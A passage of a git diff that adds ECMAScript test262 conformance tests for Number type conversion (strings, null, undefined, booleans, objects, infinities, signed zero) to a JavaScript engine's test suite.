+ $ERROR('#3: Number("-Infinity") === Number.NEGATIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T2.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T2.js
new file mode 100644
index 000000000..47bc6549e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T2.js
@@ -0,0 +1,146 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrDecimalLiteral::: - StrUnsignedDecimalLiteral is the negative
+ * of the MV of StrUnsignedDecimalLiteral. (the negative of this 0 is also 0)
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A5_T2.js
+ * @description Compare Number('-[or +]any_number') with -[or without -]any_number)
+ */
+
+// CHECK#1
+if (Number("1") !== 1) {
+ $ERROR('#1: Number("1") === 1');
+}
+
+// CHECK#2
+if (Number("+1") !== 1) {
+ $ERROR('#3: Number("+1") === 1');
+}
+
+// CHECK#3
+if (Number("-1") !== -1) {
+ $ERROR('#3: Number("-1") === -1');
+}
+
+// CHECK#4
+if (Number("2") !== 2) {
+ $ERROR('#4: Number("2") === 2');
+}
+
+// CHECK#5
+if (Number("+2") !== 2) {
+ $ERROR('#5: Number("+2") === 2');
+}
+
+// CHECK#6
+if (Number("-2") !== -2) {
+ $ERROR('#6: Number("-2") === -2');
+}
+
+// CHECK#7
+if (Number("3") !== 3) {
+ $ERROR('#7: Number("3") === 3');
+}
+
+// CHECK#8
+if (Number("+3") !== 3) {
+ $ERROR('#8: Number("+3") === 3');
+}
+
+// CHECK#9
+if (Number("-3") !== -3) {
+ $ERROR('#9: Number("-3") === -3');
+}
+
+// CHECK#10
+if (Number("4") !== 4) {
+ $ERROR('#10: Number("4") === 4');
+}
+
+// CHECK#11
+if (Number("+4") !== 4) {
+ $ERROR('#11: Number("+4") === 4');
+}
+
+// CHECK#12
+if (Number("-4") !== -4) {
+ $ERROR('#12: Number("-4") === -4');
+}
+
+// CHECK#13
+if (Number("5") !== 5) {
+ $ERROR('#13: Number("5") === 5');
+}
+
+// CHECK#14
+if (Number("+5") !== 5) {
+ $ERROR('#14: Number("+5") === 5');
+}
+
+// CHECK#15
+if (Number("-5") !== -5) {
+ $ERROR('#15: Number("-5") === -5');
+}
+
+// CHECK#16
+if (Number("6") !== 6) {
+ $ERROR('#16: Number("6") === 6');
+}
+
+// CHECK#17
+if (Number("+6") !== 6) {
+ $ERROR('#17: Number("+6") === 6');
+}
+
+// CHECK#18
+if (Number("-6") !== -6) {
+ $ERROR('#18: Number("-6") === -6');
+}
+
+// CHECK#19
+if (Number("7") !== 7) {
+ $ERROR('#19: Number("7") === 7');
+}
+
+// CHECK#20
+if (Number("+7") !== 7) {
+ $ERROR('#20: Number("+7") === 7');
+}
+
+// CHECK#21
+if (Number("-7") !== -7) {
+ $ERROR('#21: Number("-7") === -7');
+}
+
+// CHECK#22
+if (Number("8") !== 8) {
+ $ERROR('#22: Number("8") === 8');
+}
+
+// CHECK#23
+if (Number("+8") !== 8) {
+ $ERROR('#23: Number("+8") === 8');
+}
+
+// CHECK#24
+if (Number("-8") !== -8) {
+ $ERROR('#24: Number("-8") === -8');
+}
+
+// CHECK#25
+if (Number("9") !== 9) {
+ $ERROR('#25: Number("9") === 9');
+}
+
+// CHECK#26
+if (Number("+9") !== 9) {
+ $ERROR('#26: Number("+9") === 9');
+}
+
+// CHECK#27
+if (Number("-9") !== -9) {
+ $ERROR('#27: Number("-9") === -9');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T3.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T3.js
new file mode 100644
index 000000000..c062e198f
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A5_T3.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrDecimalLiteral::: - StrUnsignedDecimalLiteral is the negative
+ * of the MV of StrUnsignedDecimalLiteral. (the negative of this 0 is also 0)
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A5_T3.js
+ * @description Compare Number('-' + 'any_number') with -Number('any_number')
+ */
+
+function dynaString(s1, s2){
+ return String(s1)+String(s2);
+}
+
+// CHECK#1
+if (Number(dynaString("-", "0")) !== -Number("0")) {
+ $ERROR('#1: Number("-"+"0") === -Number("0")');
+} else {
+ // CHECK#2
+ if (1/Number(dynaString("-", "0")) !== -1/Number("0")) {
+ $ERROR('#2: 1/Number("-"+"0") === -1/Number("0")');
+ }
+}
+
+// CHECK#3
+if (Number(dynaString("-Infi", "nity")) !== -Number("Infinity")) {
+ $ERROR('#3: Number("-Infi"+"nity") === -Number("Infinity")');
+}
+
+// CHECK#4
+if (Number(dynaString("-12345", "67890")) !== -Number("1234567890")) {
+ $ERROR('#4: Number("-12345"+"67890") === -Number("1234567890")');
+}
+
+// CHECK#5
+if (Number(dynaString("-1234.", "5678")) !== -Number("1234.5678")) {
+ $ERROR('#5: Number("-1234."+"5678") === -Number("1234.5678")');
+}
+
+// CHECK#6
+if (Number(dynaString("-1234.", "5678e90")) !== -Number("1234.5678e90")) {
+ $ERROR('#6: Number("-1234."+"5678e90") === -Number("1234.5678e90")');
+}
+
+// CHECK#7
+if (Number(dynaString("-1234.", "5678E90")) !== -Number("1234.5678E90")) {
+ $ERROR('#6: Number("-1234."+"5678E90") === -Number("1234.5678E90")');
+}
+
+// CHECK#8
+if (Number(dynaString("-1234.", "5678e-90")) !== -Number("1234.5678e-90")) {
+ $ERROR('#6: Number("-1234."+"5678e-90") === -Number("1234.5678e-90")');
+}
+
+// CHECK#9
+if (Number(dynaString("-1234.", "5678E-90")) !== -Number("1234.5678E-90")) {
+ $ERROR('#6: Number("-1234."+"5678E-90") === -Number("1234.5678E-90")');
+}
+
+// CHECK#10
+if (Number(dynaString("-Infi", "nity")) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3: Number("-Infi"+"nity") === Number.NEGATIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T1.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T1.js
new file mode 100644
index 000000000..6aeeef242
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: Infinity is 10<sup><small>10000</small></sup>
+ * (a value so large that it will round to <b><tt>+&infin;</tt></b>)
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A6_T1.js
+ * @description Compare Number('Infinity') with Number.POSITIVE_INFINITY, 10e10000, 10E10000 and Number("10e10000")
+ */
+
+// CHECK#1
+if (Number("Infinity") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number("Infinity") === Number.POSITIVE_INFINITY');
+}
+
+// CHECK#2
+if (Number("Infinity") !== 10e10000) {
+ $ERROR('#2: Number("Infinity") === 10e10000');
+}
+
+// CHECK#3
+if (Number("Infinity") !== 10E10000) {
+ $ERROR('#3: Number("Infinity") === 10E10000');
+}
+
+// CHECK#4
+if (Number("Infinity") !== Number("10e10000")) {
+ $ERROR('#4: Number("Infinity") === Number("10e10000")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T2.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T2.js
new file mode 100644
index 000000000..9e4659873
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A6_T2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: Infinity is 10<sup><small>10000</small></sup>
+ * (a value so large that it will round to <b><tt>+&infin;</tt></b>)
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A6_T2.js
+ * @description Compare Number('Infi'+'nity') with Number.POSITIVE_INFINITY, 10e10000, 10E10000 and Number("10e10000")
+ */
+
+function dynaString(s1, s2){
+ return String(s1)+String(s2);
+}
+
+
+// CHECK#1
+if (Number(dynaString("Infi", "nity")) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number("Infi"+"nity") === Number.POSITIVE_INFINITY');
+}
+
+// CHECK#2
+if (Number(dynaString("Infi", "nity")) !== 10e10000) {
+ $ERROR('#2: Number("Infi"+"nity") === 10e10000');
+}
+
+// CHECK#3
+if (Number(dynaString("Infi", "nity")) !== 10E10000) {
+ $ERROR('#3: Number("Infi"+"nity") === 10E10000');
+}
+
+// CHECK#4
+if (Number(dynaString("Infi", "nity")) !== Number("10e10000")) {
+ $ERROR('#4: Number("Infi"+"nity") === Number("10e10000")');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A7.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A7.js
new file mode 100644
index 000000000..50a7f357f
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A7.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: DecimalDigits. DecimalDigits
+ * is the MV of the first DecimalDigits plus the MV of the second DecimalDigits times
+ * 10<sup><small>-n</small></sup>, where n is the number of characters in the second DecimalDigits
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A7.js
+ * @description Compare Number('1234.5678') with Number('1234')+(+('5678')*1e-4)
+ */
+
+// CHECK#1
+if (Number("1234.5678") !== Number("1234")+(+("5678")*1e-4)) {
+ $ERROR('#1: Number("1234.5678") === Number("1234")+(+("5678")*1e-4)');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A8.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A8.js
new file mode 100644
index 000000000..6b7a5d4a3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A8.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: DecimalDigits. ExponentPart
+ * is the MV of DecimalDigits times 10<sup><small>e</small></sup> , where e is the MV of ExponentPart
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A8.js
+ * @description Compare Number('1234e5') and Number('1234.e5') with Number('1234')*1e5
+ */
+
+// CHECK#1
+if (Number("1234e5") !== Number("1234")*1e5) {
+ $ERROR('#1: Number("1234e5") === Number("1234")*1e5');
+}
+
+// CHECK#2
+if (Number("1234.e5") !== +("1234")*1e5) {
+ $ERROR('#2: Number("1234.e5") === +("1234")*1e5');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A9.js b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A9.js
new file mode 100644
index 000000000..1c88a5322
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/S9.3.1_A9.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The MV of StrUnsignedDecimalLiteral::: DecimalDigits. DecimalDigits ExponentPart
+ * is (the MV of the first DecimalDigits plus (the MV of the second DecimalDigits times
+ * 10<sup><small>-n</small></sup>)) times 10<sup><small>e</small></sup>, where n is the number
+ * of characters in the second DecimalDigits and e is the MV of ExponentPart
+ *
+ * @path ch09/9.3/9.3.1/S9.3.1_A9.js
+ * @description Compare Number('1234.5678e9') with (Number('1234')+(Number('5678')*1e-4))*1e9,
+ * and +('1234.5678e-9') with (Number('1234')+(Number('5678')*1e-4))*1e-9
+ */
+
+// CHECK#1
+if (Number("1234.5678e9") !== (Number("1234")+(Number("5678")*1e-4))*1e9) {
+ $ERROR('#1: Number("1234.5678e9") === (Number("1234")+(Number("5678")*1e-4))*1e9');
+}
+
+// CHECK#2
+if (+("1234.5678e-9") !== (Number("1234")+(Number("5678")*1e-4))*1e-9) {
+ $ERROR('#2: +("1234.5678e-9") === (Number("1234")+(Number("5678")*1e-4))*1e-9');
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/browser.js b/js/src/tests/test262/ch09/9.3/9.3.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/browser.js
diff --git a/js/src/tests/test262/ch09/9.3/9.3.1/shell.js b/js/src/tests/test262/ch09/9.3/9.3.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/9.3.1/shell.js
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A1_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A1_T1.js
new file mode 100644
index 000000000..bd7869f1e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A1_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from undefined value is NaN
+ *
+ * @path ch09/9.3/S9.3_A1_T1.js
+ * @description Undefined convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (isNaN(Number(undefined)) !== true) {
+ $ERROR('#1: Number(undefined) === Not-a-Number. Actual: ' + (Number(undefined)));
+}
+
+// CHECK#2
+if (isNaN(Number(void 0)) !== true) {
+ $ERROR('#2: Number(void 0) === Not-a-Number. Actual: ' + (Number(void 0)));
+}
+
+// CHECK#3
+if (isNaN(Number(eval("var x"))) !== true) {
+ $ERROR('#3: Number(eval("var x")) === Not-a-Number. Actual: ' + (Number(eval("var x"))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A1_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A1_T2.js
new file mode 100644
index 000000000..930e96919
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A1_T2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from undefined value is NaN
+ *
+ * @path ch09/9.3/S9.3_A1_T2.js
+ * @description Undefined convert to Number by implicit transformation
+ */
+
+// CHECK#1
+if (isNaN(+(undefined)) !== true) {
+ $ERROR('#1: +(undefined) === Not-a-Number. Actual: ' + (+(undefined)));
+}
+
+// CHECK#2
+if (isNaN(+(void 0)) !== true) {
+ $ERROR('#2: +(void 0) === Not-a-Number. Actual: ' + (+(void 0)));
+}
+
+// CHECK#3
+if (isNaN(+(eval("var x"))) !== true) {
+ $ERROR('#3: +(eval("var x")) === Not-a-Number. Actual: ' + (+(eval("var x"))));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A2_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A2_T1.js
new file mode 100644
index 000000000..2be743bc7
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A2_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from null value is +0
+ *
+ * @path ch09/9.3/S9.3_A2_T1.js
+ * @description null convert to Number by explicit transformation
+ */
+
+// CHECK #1
+if (Number(null) !== 0) {
+ $ERROR('#1.1: Number(null) === 0. Actual: ' + (Number(null)));
+} else {
+ if (1/Number(null) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: Number(null) === +0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A2_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A2_T2.js
new file mode 100644
index 000000000..ce035b90a
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A2_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from null value is +0
+ *
+ * @path ch09/9.3/S9.3_A2_T2.js
+ * @description null convert to Number by implicit transformation
+ */
+
+// CHECK #1
+if (+(null) !== 0) {
+ $ERROR('#1.1: +(null) === 0. Actual: ' + (+(null)));
+} else {
+ if (1/+(null) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: +(null) === +0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A3_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A3_T1.js
new file mode 100644
index 000000000..1feee2b6b
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from boolean value is 1 if the argument is true, else is +0
+ *
+ * @path ch09/9.3/S9.3_A3_T1.js
+ * @description False and true convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (Number(false) !== +0) {
+ $ERROR('#1.1: Number(false) === 0. Actual: ' + (Number(false)));
+} else {
+ if (1/Number(false) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: Number(false) === +0. Actual: -0');
+ }
+}
+
+// CHECK#2
+if (Number(true) !== 1) {
+ $ERROR('#2: Number(true) === 1. Actual: ' + (Number(true)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A3_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A3_T2.js
new file mode 100644
index 000000000..4b7f30539
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A3_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from boolean value is 1 if the argument is true, else is +0
+ *
+ * @path ch09/9.3/S9.3_A3_T2.js
+ * @description False and true convert to Number by implicit transformation
+ */
+
+// CHECK#1
+if (+(false) !== +0) {
+ $ERROR('#1.1: +(false) === 0. Actual: ' + (+(false)));
+} else {
+ if (1/+(false) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: +(false) === +0. Actual: -0');
+ }
+}
+
+// CHECK#2
+if (+(true) !== 1) {
+ $ERROR('#2: +(true) === 1. Actual: ' + (+(true)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T1.js
new file mode 100644
index 000000000..96d24be9f
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from number value equals to the input argument (no conversion)
+ *
+ * @path ch09/9.3/S9.3_A4.1_T1.js
+ * @description Some numbers including Number.MAX_VALUE and Number.MIN_VALUE are converted to Number with explicit transformation
+ */
+
+// CHECK#1
+if (Number(13) !== 13) {
+ $ERROR('#1: Number(13) === 13. Actual: ' + (Number(13)));
+}
+
+// CHECK#2
+if (Number(-13) !== -13) {
+ $ERROR('#2: Number(-13) === -13. Actual: ' + (Number(-13)));
+}
+
+// CHECK#3
+if (Number(1.3) !== 1.3) {
+ $ERROR('#3: Number(1.3) === 1.3. Actual: ' + (Number(1.3)));
+}
+
+// CHECK#4
+if (Number(-1.3) !== -1.3) {
+ $ERROR('#4: Number(-1.3) === -1.3. Actual: ' + (Number(-1.3)));
+}
+
+// CHECK#5
+if (Number(Number.MAX_VALUE) !== 1.7976931348623157e308) {
+ $ERROR('#5: Number(Number.MAX_VALUE) === 1.7976931348623157e308. Actual: ' + (Number(Number.MAX_VALUE)));
+}
+
+// CHECK#6
+if (Number(Number.MIN_VALUE) !== 5e-324) {
+ $ERROR('#6: Number(Number.MIN_VALUE) === 5e-324. Actual: ' + (Number(Number.MIN_VALUE)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T2.js
new file mode 100644
index 000000000..6c1c28b3d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A4.1_T2.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from number value equals to the input argument (no conversion)
+ *
+ * @path ch09/9.3/S9.3_A4.1_T2.js
+ * @description Some numbers including Number.MAX_VALUE and Number.MIN_VALUE are converted to Number with implicit transformation
+ */
+
+// CHECK#1
+if (+(13) !== 13) {
+ $ERROR('#1: +(13) === 13. Actual: ' + (+(13)));
+}
+
+// CHECK#2
+if (+(-13) !== -13) {
+ $ERROR('#2: +(-13) === -13. Actual: ' + (+(-13)));
+}
+
+// CHECK#3
+if (+(1.3) !== 1.3) {
+ $ERROR('#3: +(1.3) === 1.3. Actual: ' + (+(1.3)));
+}
+
+// CHECK#4
+if (+(-1.3) !== -1.3) {
+ $ERROR('#4: +(-1.3) === -1.3. Actual: ' + (+(-1.3)));
+}
+
+// CHECK#5
+if (+(Number.MAX_VALUE) !== 1.7976931348623157e308) {
+ $ERROR('#5: +(Number.MAX_VALUE) === 1.7976931348623157e308. Actual: ' + (+(Number.MAX_VALUE)));
+}
+
+// CHECK#6
+if (+(Number.MIN_VALUE) !== 5e-324) {
+ $ERROR('#6: +(Number.MIN_VALUE) === 5e-324. Actual: ' + (+(Number.MIN_VALUE)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T1.js
new file mode 100644
index 000000000..788f20cb9
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from number value equals to the input argument (no conversion)
+ *
+ * @path ch09/9.3/S9.3_A4.2_T1.js
+ * @description Number.NaN, +0, -0, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY,
+ * Number.MAX_VALUE and Number.MIN_VALUE convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (isNaN(Number(Number.NaN)) !== true) {
+ $ERROR('#1: Number(NaN) === Not-a-Number. Actual: ' + (Number(NaN)));
+}
+
+// CHECK#2
+if (Number(+0) !== +0) {
+ $ERROR('#2.1: Number(+0) === 0. Actual: ' + (Number(+0)));
+} else {
+ if (1/Number(+0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: Number(+0) === +0. Actual: -0');
+ }
+}
+
+// CHECK#3
+if (Number(-0) !== -0) {
+ $ERROR('#3.1: Number(-0) === 0. Actual: ' + (Number(-0)));
+} else {
+ if (1/Number(-0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: Number(-0) === -0. Actual: +0');
+ }
+}
+
+// CHECK#4
+if (Number(Number.POSITIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4: Number(+Infinity) === +Infinity. Actual: ' + (Number(+Infinity)));
+}
+
+// CHECK#5
+if (Number(Number.NEGATIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#5: Number(-Infinity) === -Infinity. Actual: ' + (Number(-Infinity)));
+}
+
+// CHECK#6
+if (Number(Number.MAX_VALUE) !== Number.MAX_VALUE) {
+ $ERROR('#6: Number(Number.MAX_VALUE) === Number.MAX_VALUE. Actual: ' + (Number(Number.MAX_VALUE)));
+}
+
+// CHECK#7
+if (Number(Number.MIN_VALUE) !== Number.MIN_VALUE) {
+ $ERROR('#7: Number(Number.MIN_VALUE) === Number.MIN_VALUE. Actual: ' + (Number(Number.MIN_VALUE)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T2.js b/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T2.js
new file mode 100644
index 000000000..3e4d8ad4a
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A4.2_T2.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from number value equals to the input argument (no conversion)
+ *
+ * @path ch09/9.3/S9.3_A4.2_T2.js
+ * @description Number.NaN, +0, -0, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY,
+ * Number.MAX_VALUE and Number.MIN_VALUE convert to Number by implicit transformation
+ */
+
+// CHECK#1
+if (isNaN(+(Number.NaN)) !== true) {
+ $ERROR('#1: +(NaN) === Not-a-Number. Actual: ' + (+(NaN)));
+}
+
+// CHECK#2
+if (+(+0) !== +0) {
+ $ERROR('#2.1: +(+0) === 0. Actual: ' + (+(+0)));
+} else {
+ if (1/+(+0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: +(+0) === +0. Actual: -0');
+ }
+}
+
+// CHECK#3
+if (+(-0) !== -0) {
+ $ERROR('#3.1: +(-0) === 0. Actual: ' + (+(-0)));
+} else {
+ if (1/+(-0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: +(-0) === -0. Actual: +0');
+ }
+}
+
+// CHECK#4
+if (+(Number.POSITIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4: +(+Infinity) === +Infinity. Actual: ' + (+(+Infinity)));
+}
+
+// CHECK#5
+if (+(Number.NEGATIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#5: +(-Infinity) === -Infinity. Actual: ' + (+(-Infinity)));
+}
+
+// CHECK#6
+if (+(Number.MAX_VALUE) !== Number.MAX_VALUE) {
+ $ERROR('#6: +(Number.MAX_VALUE) === Number.MAX_VALUE. Actual: ' + (+(Number.MAX_VALUE)));
+}
+
+// CHECK#7
+if (+(Number.MIN_VALUE) !== Number.MIN_VALUE) {
+ $ERROR('#7: +(Number.MIN_VALUE) === Number.MIN_VALUE. Actual: ' + (+(Number.MIN_VALUE)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.3/S9.3_A5_T1.js b/js/src/tests/test262/ch09/9.3/S9.3_A5_T1.js
new file mode 100644
index 000000000..a76f65b1d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.3/S9.3_A5_T1.js
@@ -0,0 +1,126 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of number conversion from object value is the result
+ * of conversion from primitive value
+ *
+ * @path ch09/9.3/S9.3_A5_T1.js
+ * @description new Number(), new Number(0), new Number(Number.NaN), new Number(null),
+ * new Number(void 0) and others convert to Number by explicit transformation
+ */
+
+// CHECK#1
+if (Number(new Number()) !== 0) {
+ $ERROR('#1: Number(new Number()) === 0. Actual: ' + (Number(new Number())));
+}
+
+// CHECK#2
+if (Number(new Number(0)) !== 0) {
+ $ERROR('#2: Number(new Number(0)) === 0. Actual: ' + (Number(new Number(0))));
+}
+
+// CHECK#3
+if (isNaN(Number(new Number(Number.NaN)) !== true)) {
+ $ERROR('#3: Number(new Number(Number.NaN)) === Not-a-Number. Actual: ' + (Number(new Number(Number.NaN))));
+}
+
+// CHECK#4
+if (Number(new Number(null)) !== 0) {
+ $ERROR('#4.1: Number(new Number(null)) === 0. Actual: ' + (Number(new Number(null))));
+} else {
+ if (1/Number(new Number(null)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: Number(new Number(null)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#5
+if (isNaN(Number(new Number(void 0)) !== true)) {
+ $ERROR('#5: Number(new Number(void 0)) === Not-a-Number. Actual: ' + (Number(new Number(void 0))));
+}
+
+// CHECK#6
+if (Number(new Number(true)) !== 1) {
+ $ERROR('#6: Number(new Number(true)) === 1. Actual: ' + (Number(new Number(true))));
+}
+
+// CHECK#7
+if (Number(new Number(false)) !== +0) {
+ $ERROR('#7.1: Number(new Number(false)) === 0. Actual: ' + (Number(new Number(false))));
+} else {
+ if (1/Number(new Number(false)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#7.2: Number(new Number(false)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#8
+if (Number(new Boolean(true)) !== 1) {
+ $ERROR('#8: Number(new Boolean(true)) === 1. Actual: ' + (Number(new Boolean(true))));
+}
+
+// CHECK#9
+if (Number(new Boolean(false)) !== +0) {
+ $ERROR('#9.1: Number(new Boolean(false)) === 0. Actual: ' + (Number(new Boolean(false))));
+} else {
+ if (1/Number(new Boolean(false)) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#9.2: Number(new Boolean(false)) === +0. Actual: -0');
+ }
+}
+
+// CHECK#10
+if (isNaN(Number(new Array(2,4,8,16,32))) !== true) {
+ $ERROR('#10: Number(new Array(2,4,8,16,32)) === Not-a-Number. Actual: ' + (Number(new Array(2,4,8,16,32))));
+}
+
+// CHECK#11
+var myobj1 = {
+ ToNumber : function(){return 12345;},
+ toString : function(){return "67890";},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (isNaN(Number(myobj1)) !== true){
+ $ERROR("#11: Number(myobj1) calls ToPrimitive with hint Number. Actual: " + (Number(myobj1)));
